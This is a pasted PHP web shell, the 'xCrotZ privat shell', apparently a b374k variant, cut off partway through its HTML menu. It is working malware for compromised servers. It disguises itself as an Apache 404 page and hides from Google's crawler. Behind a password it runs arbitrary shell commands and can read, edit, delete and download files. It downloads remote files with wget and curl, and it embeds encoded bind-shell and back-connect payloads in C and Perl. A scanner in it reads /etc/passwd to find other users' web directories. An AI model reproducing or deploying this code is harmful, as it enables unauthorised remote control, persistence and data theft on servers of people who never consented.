· 10 years ago · Jun 12, 2016, 11:24 AM
1$auth_pass = "f431a5d948a1f6ffc166d1603190011d";
2$color = "#00ff00";
3$default_action = 'FilesMan';
4@define('SELF_PATH', __FILE__);
5if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
6 header('HTTP/1.0 404 Not Found');
7 exit;
8}
9@session_start();
10@error_reporting(0);
11@ini_set('error_log',NULL);
12@ini_set('log_errors',0);
13@ini_set('max_execution_time',0);
14@ini_set('display_errors', 0);
15@set_time_limit(0);
16@set_magic_quotes_runtime(0);
17@define('VERSION', '2.1');
18if( get_magic_quotes_gpc() ) {
19 function stripslashes_array($array) {
20 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
21 }
22 $_POST = stripslashes_array($_POST);
23}
24function printLogin() {
25 ?>
26<h1>Not Found</h1>
27<p>The requested URL was not found on this server.</p>
28<hr>
29<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
30 <style>
31 input { margin:0;background-color:#dfe3e2;border:1px solid #dfe3e2; }
32 </style>
33 <center>
34 <form method=post>
35 <input type=password name=pass>
36 </form></center>
37 <?php
38 exit;
39}
40if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
41 if( empty( $auth_pass ) ||
42 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
43 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
44 else
45 printLogin();
46if(isset($_GET['dl']) && ($_GET['dl'] != "")){
47 $file = $_GET['dl'];
48 $filez = @file_get_contents($file);
49 header("Content-type: application/octet-stream");
50 header("Content-length: ".strlen($filez));
51 header("Content-disposition: attachment; filename=\"".basename($file)."\";");
52 echo $filez;
53 exit;
54}
55elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
56 $file = $_GET['dlgzip'];
57 $filez = gzencode(@file_get_contents($file));
58 header("Content-Type:application/x-gzip\n");
59 header("Content-length: ".strlen($filez));
60 header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
61 echo $filez;
62 exit;
63}
64// view image
65if(isset($_GET['img'])){
66 @ob_clean();
67 $d = magicboom($_GET['y']);
68 $f = $_GET['img'];
69 $inf = @getimagesize($d.$f);
70 $ext = explode($f,".");
71 $ext = $ext[count($ext)-1];
72 @header("Content-type: ".$inf["mime"]);
73 @header("Cache-control: public");
74 @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
75 @header("Cache-control: max-age=".(60*60*24*7));
76 @readfile($d.$f);
77 exit;
78}
79
80// server software
81$software = getenv("SERVER_SOFTWARE");
82// check safemode
83if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
84// uname -a
85$system = @php_uname();
86// check os
87if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
88else $win = FALSE;
89// change directory
90if(isset($_GET['y'])){
91 if(@is_dir($_GET['view'])){
92 $pwd = $_GET['view'];
93 @chdir($pwd);
94 }
95 else{
96 $pwd = $_GET['y'];
97 @chdir($pwd);
98 }
99}
100// username, id, shell prompt and working directory
101if(!$win){
102 if(!$user = rapih(exe("whoami"))) $user = "";
103 if(!$id = rapih(exe("id"))) $id = "";
104 $prompt = $user." \$ ";
105 $pwd = @getcwd().DIRECTORY_SEPARATOR;
106}
107else {
108 $user = @get_current_user();
109 $id = $user;
110 $prompt = $user." >";
111 $pwd = realpath(".")."\\";
112 // find drive letters
113 $v = explode("\\",$d);
114 $v = $v[0];
115 foreach (range("A","Z") as $letter)
116 {
117 $bool = @is_dir($letter.":\\");
118 if ($bool)
119 {
120 $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
121 if ($letter.":" != $v) {$letters .= $letter;}
122 else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
123 $letters .= " ]</a> ";
124 }
125 }
126}
127if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
128else $posix = FALSE;
129// server ip
130$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
131// your ip ;-)
132$my_ip = $_SERVER['REMOTE_ADDR'];
133$bindport = "13123";
134$bindport_pass = "b374k";
135
136// separate the working direcotory
137$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
138$pwdurl = "";
139for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
140 $pathz = "";
141 for($j = 0 ; $j <= $i ; $j++){
142 $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
143 }
144 $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
145}
146
147// rename file or folder
148if(isset($_POST['rename'])){
149 $old = $_POST['oldname'];
150 $new = $_POST['newname'];
151 @rename($pwd.$old,$pwd.$new);
152 $file = $pwd.$new;
153}
154
155
156
157// print useful info
158$buff = $software."<br />";
159$buff .= $system."<br />";
160if($id != "") $buff .= $id."<br />";
161$buff .= "server ip : ".$server_ip." <span class=\"gaya\">|</span> your ip : ".$my_ip."<br />";
162if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />";
163else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
164$buff .= $letters." > ".$pwdurl;
165
166
167
168
169function rapih($text){
170 return trim(str_replace("<br />","",$text));
171}
172
173function magicboom($text){
174 if (!get_magic_quotes_gpc()) {
175 return $text;
176 }
177 return stripslashes($text);
178}
179
180function showdir($pwd,$prompt){
181 $fname = array();
182 $dname = array();
183 if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
184 else $posix = FALSE;
185 $user = "????:????";
186 if($dh = @scandir($pwd)){
187 foreach($dh as $file){
188 if(is_dir($file)){
189 $dname[] = $file;
190 }
191 elseif(is_file($file)){
192 $fname[] = $file;
193 }
194 }
195 }
196 else{
197 if($dh = @opendir($pwd)){
198 while($file = @readdir($dh)){
199 if(@is_dir($file)){
200 $dname[] = $file;
201 }
202 elseif(@is_file($file)){
203 $fname[] = $file;
204 }
205 }
206 @closedir($dh);
207 }
208 }
209
210
211 sort($fname);
212 sort($dname);
213 $path = @explode(DIRECTORY_SEPARATOR,$pwd);
214 $tree = @sizeof($path);
215 $parent = "";
216 $buff = "
217 <form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
218 <table class=\"cmdbox\" style=\"width:50%;\">
219 <tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
220 </form>
221 <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
222 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
223 <tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
224 </form></table><table class=\"explore\">
225 <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
226 ";
227 if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
228 else $parent = $pwd;
229
230 foreach($dname as $folder){
231 if($folder == ".") {
232 if(!$win && $posix){
233 $name=@posix_getpwuid(@fileowner($folder));
234 $group=@posix_getgrgid(@filegroup($folder));
235 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
236 }
237 else {
238 $owner = $user;
239 }
240 $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
241 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
242 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
243 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
244 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
245 </form></td></tr>
246 ";
247 }
248 elseif($folder == "..") {
249 if(!$win && $posix){
250 $name=@posix_getpwuid(@fileowner($folder));
251 $group=@posix_getgrgid(@filegroup($folder));
252 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
253 }
254 else {
255 $owner = $user;
256 }
257 $buff .= "<tr><td><a href=\"?y=".$parent."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
258 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
259 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
260 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
261 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
262 </form>
263 </td></tr>";
264 }
265 else {
266 if(!$win && $posix){
267 $name=@posix_getpwuid(@fileowner($folder));
268 $group=@posix_getgrgid(@filegroup($folder));
269 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
270 }
271 else {
272 $owner = $user;
273 }
274 $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
275 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
276 <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
277 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
278 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
279 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
280 </form>
281 <td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
282 }
283 }
284
285 foreach($fname as $file){
286 $full = $pwd.$file;
287 if(!$win && $posix){
288 $name=@posix_getpwuid(@fileowner($folder));
289 $group=@posix_getgrgid(@filegroup($folder));
290 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
291 }
292 else {
293 $owner = $user;
294 }
295 $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\">$file</a>
296 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
297 <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
298 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
299 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
300 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
301 </form>
302 </td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
303 <td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
304 }
305 $buff .= "</table>";
306 return $buff;
307}
308
309function ukuran($file){
310 if($size = @filesize($file)){
311 if($size <= 1024) return $size;
312 else{
313 if($size <= 1024*1024) {
314 $size = @round($size / 1024,2);;
315 return "$size kb";
316 }
317 else {
318 $size = @round($size / 1024 / 1024,2);
319 return "$size mb";
320 }
321 }
322 }
323 else return "???";
324}
325
326function exe($cmd){
327 if(function_exists('system')) {
328 @ob_start();
329 @system($cmd);
330 $buff = @ob_get_contents();
331 @ob_end_clean();
332 return $buff;
333 }
334 elseif(function_exists('exec')) {
335 @exec($cmd,$results);
336 $buff = "";
337 foreach($results as $result){
338 $buff .= $result;
339 }
340 return $buff;
341 }
342 elseif(function_exists('passthru')) {
343 @ob_start();
344 @passthru($cmd);
345 $buff = @ob_get_contents();
346 @ob_end_clean();
347 return $buff;
348 }
349 elseif(function_exists('shell_exec')){
350 $buff = @shell_exec($cmd);
351 return $buff;
352 }
353}
354
355function tulis($file,$text){
356 $textz = gzinflate(base64_decode($text));
357 if($filez = @fopen($file,"w"))
358 {
359 @fputs($filez,$textz);
360 @fclose($file);
361 }
362}
363
364function ambil($link,$file) {
365 if($fp = @fopen($link,"r")){
366 while(!feof($fp)) {
367 $cont.= @fread($fp,1024);
368 }
369 @fclose($fp);
370 $fp2 = @fopen($file,"w");
371 @fwrite($fp2,$cont);
372 @fclose($fp2);
373 }
374}
375
376function which($pr){
377 $path = exe("which $pr");
378 if(!empty($path)) { return trim($path); } else { return trim($pr); }
379}
380
381function download($cmd,$url){
382 $namafile = basename($url);
383 switch($cmd) {
384 case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
385 case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
386 case 'wfread' : ambil($wurl,$namafile);break;
387 case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
388 case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
389 case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
390 case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
391 default: break;
392 }
393 return $namafile;
394}
395
396function get_perms($file)
397{
398 if($mode=@fileperms($file)){
399 $perms='';
400 $perms .= ($mode & 00400) ? 'r' : '-';
401 $perms .= ($mode & 00200) ? 'w' : '-';
402 $perms .= ($mode & 00100) ? 'x' : '-';
403 $perms .= ($mode & 00040) ? 'r' : '-';
404 $perms .= ($mode & 00020) ? 'w' : '-';
405 $perms .= ($mode & 00010) ? 'x' : '-';
406 $perms .= ($mode & 00004) ? 'r' : '-';
407 $perms .= ($mode & 00002) ? 'w' : '-';
408 $perms .= ($mode & 00001) ? 'x' : '-';
409 return $perms;
410 }
411 else return "??????????";
412}
413
414function clearspace($text){
415 return str_replace(" ","_",$text);
416}
417
418// net tools
419$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
420+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
421P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
422dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
4233TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
424Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
425HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
426tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
427ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
428uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
429$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
430NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
431tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
432e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
433LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
434vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
435+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
436$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
437ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
438S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
439ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
440Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
441$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
442BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
443zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
444i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
445RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
446jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
4476f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
448//jum
449$jumper="3VRdb9MwFH0Gif9wa1XY0UrTwQNSm6ZICCR4AIk9oW0KbuwshsSObIetTPx37k26bOOBH4CipNG559xzP5zqsnbAsij3jYaykSFsL1jZqr27uWB5Fj3eCkrXhE5aDL1ElG1APHv6ZB5a2IKxprjSUfAgK120TmmewHYLqwR2MLG4qyq+BmW0YO+8d34NZ3d8DH+2WRpVjg9PDyomR22mzM+pKGMrh+bnRXFqX78qo3EWMqpqYlzJg6SiJdReV1u+4zlbzm8+yVYvWZZKTE38HM5q3TRFcZmlaJDD307fxzzwEX8bWcMHq5zVwcgfPTwvXXfYAFsqGbXgX/kimlaLJFkyuDeDzYsExuws2ZBB0LEgZtGY1kSxQvTNvEO/a4X9V67TVvBUxzIdQb7gno9SU4GYHbkJ3NIQQbDzF5cwTBLW8Nb1yn6L8EVLBQ+S/NdD/T2crq7f4/yk9/IgEJz3QfvwCCmdrR4CpDIIrDZwXZtGi1mlXSXuBpzcwjxET0vBYx0mfFoFinM4Xa2I2DnyQjq+CJIt+Pq4taESi4UTod9jbCSsFqQ6cpTxv+jrSGvX6pQvJ9GSp9hZY8qijm2T8sld3OedoZBTvYSbUHjcPi1ZDGkpMPRcdH2oR1lYTOqxgIcE9FuMSpotXXNzckLvlcPUZQ3HJCDDOGd00PT3wc/fu94qmF0OWz+eFLY7bB/19bgnlv8jmA4Ha+9zTv67/A8=";
450//confscan
451$scanconfig="DQooJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJykgPT0gMCkgPyAkc20gPSAnb2ZmJzogZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+RXJyb3I6IFNhZmVfbW9kZSA9IE9uPC9iPjwvZm9udD4nKTsNCnNldF90aW1lX2xpbWl0KDApOw0KQCRwYXNzd2QgPSBmb3BlbignL2V0Yy9wYXNzd2QnLCdyJyk7DQppZiAoISRwYXNzd2QpIHsgZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+Wy1dIEVycm9yIDogQ291ZG5gdCBSZWFkIC9ldGMvcGFzc3dkPC9iPjwvZm9udD4nKTsgfQ0KJHB1YiA9IGFycmF5KCk7DQokdXNlcnMgPSBhcnJheSgpOw0KJGNvbmYgPSBhcnJheSgpOw0KJGkgPSAwOw0Kd2hpbGUoIWZlb2YoJHBhc3N3ZCkpDQp7DQokc3RyID0gZmdldHMoJHBhc3N3ZCk7DQppZiAoJGkgPiAxMDApDQp7DQogICRwb3MgPSBzdHJwb3MoJHN0ciwnOicpOw0KICAgJHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTsNCiAgJGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nOw0KICBpZiAoKCR1c2VybmFtZSAhPSAnJykpDQogIHsNCiAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpDQogICB7DQogICAgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsNCiAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOw0KICAgfQ0KICB9DQogICB9DQokaSsrOw0KfQ0KZWNobyAnPHA+DQo8Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwODA4MCIgZmFjZT0iQ2FsaWJyaSI+DQpTZXJ2ZXIgSnVtcGluZyBGaW5kZXIgVmVyc2lvbiAzLjAgPGJyPjwvZm9udD4NCjxmb250IHNpemU9IjMiIGNvbG9yPSIjODAwMDAwIiBmYWNlPSJDYWxpYnJpIj4NCkNyZWF0ZWQgYnkgdXphbmMgfCAyMDExIC0gVGFuZ2VyYW5nIC0gSW5kb25lc2lhDQo8L2ZvbnQ+DQo8L3A+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDgwODAiIGZhY2U9IkNhbGlicmkiPlsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsgU1RBUlQgXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSA8YnI+PC9mb250Pg0KJzsNCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikNCnsNCmVjaG8gIjx0YWJsZSB3aXRoPSczMCUnPjx0cj48dGQ+PGZvbnQgc2l6ZT0nMycgY29sb3I9JyNlZTA4MDgnIGZhY2U9J0NhbGlicmknPiBbK10gL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvPC9mb250Pjxici8+PC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCmVjaG8gIlxuIDxmb250IHNpemU9JzMnIGNvbG9yPScjMDA4MDgwJyBmYWNlPSdDYWxpYnJpJz4gWytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WyBGSU5JU0ggXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSA8YnI+PC9mb250PlxuIjsNCmVjaG8gIlxuIDxmb250IHNpemU9JzInIGNvbG9yPScjODAwMDAwJyBmYWNlPSdDYWxpYnJpJz5bK10gU2Nhbm5lcnMgaGF2ZSBiZWVuIGNvbXBsZXRlZCB8IFRoYW5rIHlvdSBmb3IgdXNpbmcgdGhpcyB0b29scyBbK108L2ZvbnQ+XG4iOw0K";
452
453?>
454<html><head><title>=[ xCrotZ privat shell ]=</title>
455<script type="text/javascript">
456function tukar(lama,baru){
457 document.getElementById(lama).style.display = 'none';
458 document.getElementById(baru).style.display = 'block';
459}
460</script>
461<style type="text/css">
462body{
463 background:#000000;;
464}
465a {
466text-decoration:none;
467}
468a:hover{
469border-bottom:1px solid #00ff00;
470}
471*{
472 font-size:11px;
473 font-family:Tahoma,Verdana,Arial;
474 color:#00ff00;
475}
476#menu{
477 background:#111111;
478 margin:8px 2px 4px 2px;
479}
480#menu a{
481 padding:4px 18px;
482 margin:0;
483 background:#222222;
484 text-decoration:none;
485 letter-spacing:2px;
486}
487#menu a:hover{
488 background:#191919;
489 border-bottom:1px solid #00ff00;
490 border-top:1px solid #00ff00;
491}
492.tabnet{
493 margin:15px auto 0 auto;
494 border: 1px solid #00ff00;
495}
496.main {
497 width:100%;
498}
499.gaya {
500 color: #00ff00;
501}
502.inputz{
503 background:#111111;
504 border:0;
505 padding:2px;
506 border-bottom:1px solid #222222;
507 border-top:1px solid #222222;
508}
509.inputzbut{
510 background:#111111;
511 color:#00ff00;
512 margin:0 4px;
513 border:1px solid #00ff00;
514
515}
516.inputz:hover, .inputzbut:hover{
517 border-bottom:1px solid #00ff00;
518 border-top:1px solid #00ff00;
519}
520.output {
521 margin:auto;
522 border:1px solid #00ff00;
523 width:100%;
524 height:400px;
525 background:#000000;
526 padding:0 2px;
527}
528.cmdbox{
529 width:100%;
530}
531.head_info{
532 padding: 0 4px;
533}
534.b374k{
535 font-size:30px;
536 padding:0;
537 color:#00ff00;
538}
539.b374k1{
540 font-size:30px;
541 padding:0;
542 color: #00ff00;
543}
544.b374k_tbl{
545 text-align:center;
546 margin:0 4px 0 0;
547 padding:0 4px 0 0;
548 border-right:1px solid #00ff00;
549}
550.phpinfo table{
551 width:100%;
552 padding:0 0 0 0;
553}
554.phpinfo td{
555 background:#111111;
556 color:#00ff00;
557padding:6px 8px;;
558}
559.phpinfo th, th{
560 background:#191919;
561 border-bottom:1px solid #00ff00;
562font-weight:normal;
563}
564.phpinfo h2, .phpinfo h2 a{
565 text-align:center;
566 font-size:16px;
567 padding:0;
568 margin:30px 0 0 0;
569 background:#222222;
570 padding:4px 0;
571}
572.explore{
573width:100%;
574}
575.explore a {
576text-decoration:none;
577}
578.explore td{
579border-bottom:1px solid #00ff00;
580padding:0 8px;
581line-height:24px;
582}
583.explore th{
584padding:3px 8px;
585font-weight:normal;
586}
587.explore th:hover , .phpinfo th:hover{
588border-bottom:1px solid #00ff00;
589}
590.explore tr:hover{
591background:#111111;
592}
593.viewfile{
594background:#EDECEB;
595color:#000000;
596margin:4px 2px;
597padding:8px;
598}
599.sembunyi{
600display:none;
601padding:0;margin:0;
602}
603
604</style>
605<br>
606</head>
607<script language='javascript'>
608if (document.all||document.getElementById){
609var thetitle=document.title
610document.title=''
611}
612var data="Us3 Y0ur br41n biTch ! ! !";
613var done=1;
614function statusIn(text){
615decrypt(text,22,22);
616}
617function statusOut(){
618self.status='';
619done=1;
620}
621function decrypt(text, max, delay){
622if (done){
623done = 0;
624rantit(text, max, delay, 0, max);
625}
626}
627function rantit(text, runs_left, delay, charvar, max){
628if (!done){
629runs_left = runs_left - 1;
630var status = text.substring(0,charvar);
631for(var current_char = charvar; current_char < text.length; current_char++){
632status += data.charAt(Math.round(Math.random()*data.length));
633}
634document.title = status;
635var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
636var new_char = charvar + 1;
637var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
638if(runs_left > 0){
639setTimeout(rerun, delay);
640}
641else{
642if (charvar < text.length){
643setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
644}
645else
646{
647done = 1;
648}
649}
650}
651}
652if (document.all||document.getElementById)
653statusIn(thetitle)
654</script>
655<body onLoad="document.getElementById('cmd').focus();">
656<div class="main">
657<!-- head info start here -->
658<div class="head_info">
659<table><tr>
660<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">xCrotZ</span></a></td></tr><tr><td>HN Community</td></tr></table></td>
661<td><?php echo $buff; ?></td>
662</tr></table>
663<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
664</div>
665<!-- head info end here -->
666<!-- menu start -->
667<div id="menu">
668<a href="?<?php echo "y=".$pwd; ?>">Explore</a>
669<a href="?<?php echo "y=".$pwd; ?>&x=jumping">jumping</a>
670<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
